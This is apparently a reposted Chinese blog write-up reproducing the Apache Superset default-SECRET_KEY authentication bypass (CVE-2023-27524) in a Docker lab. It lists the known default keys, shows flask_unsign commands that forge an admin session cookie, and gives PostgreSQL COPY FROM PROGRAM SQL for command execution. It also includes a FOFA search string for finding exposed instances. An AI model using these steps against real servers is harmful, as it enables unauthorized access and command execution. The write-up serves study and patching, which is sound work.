漏洞簡(jiǎn)介
Apache Superset是一個(gè)開(kāi)源的數(shù)據(jù)可視化和數(shù)據(jù)探測(cè)平臺(tái),它基于Python構(gòu)建,使用了一些類似于Django和Flask的Python web框架。提供了一個(gè)用戶友好的界面,可以輕松地創(chuàng)建和共享儀表板、查詢和可視化數(shù)據(jù),也可以集成到其他應(yīng)用程序中。由于用戶在默認(rèn)安裝過(guò)程中,未對(duì)SECRET_KEY的默認(rèn)值進(jìn)行更改,未經(jīng)身份驗(yàn)證的攻擊者通過(guò)偽造管理員身份進(jìn)行訪問(wèn)后臺(tái),并通過(guò)后臺(tái)原本數(shù)據(jù)庫(kù)執(zhí)行功能實(shí)現(xiàn)命令執(zhí)行操作。?
環(huán)境搭建
可以通過(guò) fofa 來(lái)搜索相關(guān)網(wǎng)站
"Apache Superset"
?
這里我們通過(guò) docker 來(lái)在本地搭建環(huán)境
?
git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up
官網(wǎng)提供的方法 并沒(méi)有搭建成功,還是直接在docker 倉(cāng)庫(kù)中查找
https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0
?
docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init
?漏洞復(fù)現(xiàn)
利用腳本檢測(cè)是否存在漏洞并生成相對(duì)應(yīng)的 cookie
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲取!】
?、?網(wǎng)安學(xué)習(xí)成長(zhǎng)路徑思維導(dǎo)圖
?、?60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫(kù)
?、?超1800頁(yè)CTF實(shí)戰(zhàn)技巧手冊(cè)
?、?最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測(cè)指南(安卓+IOS)
訪問(wèn)主頁(yè)抓取數(shù)據(jù)包
將生成的 session 替換原本的 session
?
成功登錄
接下來(lái)就是想辦法 getshell 網(wǎng)絡(luò)上的文章上是通過(guò)后臺(tái)數(shù)據(jù)庫(kù)執(zhí)行語(yǔ)句來(lái)獲取權(quán)限。
經(jīng)過(guò)復(fù)現(xiàn)分析,發(fā)現(xiàn)存在的問(wèn)題還比較多,首先是默認(rèn)情況下執(zhí)行語(yǔ)句僅僅支持 SELECT ,需要修改數(shù)據(jù)庫(kù)的權(quán)限允許其他的一些語(yǔ)句(but 一些版本上是沒(méi)有對(duì)數(shù)據(jù)庫(kù)的操作權(quán)限的),然后就是獲取的權(quán)限,本質(zhì)上也只是獲取了數(shù)據(jù)庫(kù)的執(zhí)行權(quán)限,數(shù)據(jù)庫(kù)有可能并不與 superset 在同一服務(wù)器上,再有就是需要數(shù)據(jù)庫(kù)本身也需要存在漏洞才可以,我這里選取了 (CVE-2019-9193)PostgreSQL 高權(quán)限命令執(zhí)行漏洞來(lái)復(fù)現(xiàn)漏洞。
?
?
?
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
?
漏洞分析
感覺(jué)這個(gè)漏洞有點(diǎn)像前段時(shí)間爆出來(lái)的 nacos 身份認(rèn)證繞過(guò)漏洞 存在默認(rèn)的密鑰
SECRET_KEYS = [
? b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', ?# version < 1.4.1
? b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', ? ? ? ? ?# version >= 1.4.1
? b'thisISaSECRET_1234', ? ? ? ? ? ? ? ? ? ? ? ? ? ?# deployment template
? b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', ? ? ? ? ?# documentation
? b'TEST_NON_DEV_SECRET' ? ? ? ? ? ? ? ? ? ? ? ? ? ?# docker compose
]
Superset 是用 Python 編寫的,基于 Flask Web 框架?;?Flask 的應(yīng)用程序的常見(jiàn)做法是使用加密簽名的會(huì)話 cookie 進(jìn)行用戶狀態(tài)管理。當(dāng)用戶登錄時(shí),Web 應(yīng)用程序?qū)脩魳?biāo)識(shí)符的會(huì)話 cookie 發(fā)送回最終用戶的瀏覽器。Web 應(yīng)用程序使用 SECERT_KEY 對(duì) cookie 進(jìn)行簽名,該值應(yīng)該時(shí)隨機(jī)生成的,通常存儲(chǔ)在本地配置文件中,對(duì)于每個(gè) Web 請(qǐng)求,瀏覽器都會(huì)將已簽名的會(huì)話 cookie 發(fā)送回應(yīng)用程序,然后應(yīng)用程序驗(yàn)證 cookie 上的簽名以處理請(qǐng)求之前重新驗(yàn)證用戶。
整段描述下面我感覺(jué)跟 JWT 的相關(guān)驗(yàn)證方式差不太多,我們具體來(lái)操作看看。
首先就是請(qǐng)求的時(shí)候我們可以看到 cookie 值 可以解碼成功,通過(guò)爆破(當(dāng)然我們這里是已經(jīng)已知這個(gè) key 值),偽造生成用戶的 cookie,替換數(shù)據(jù)包中的cookie 值,就成功登錄成功,之后再次請(qǐng)求的時(shí)候,發(fā)現(xiàn)我們添加的字段已經(jīng)被保存在 session 值中
>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}
?
漏洞修復(fù)
拒絕在非調(diào)試環(huán)境中使用默認(rèn)密碼啟動(dòng)
?
?
?更多網(wǎng)安技能的在線實(shí)操練習(xí),請(qǐng)點(diǎn)擊這里>>文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-491938.html
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-491938.html
到了這里,關(guān)于Apache Superset 身份認(rèn)證繞過(guò)漏洞(CVE-2023-27524)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!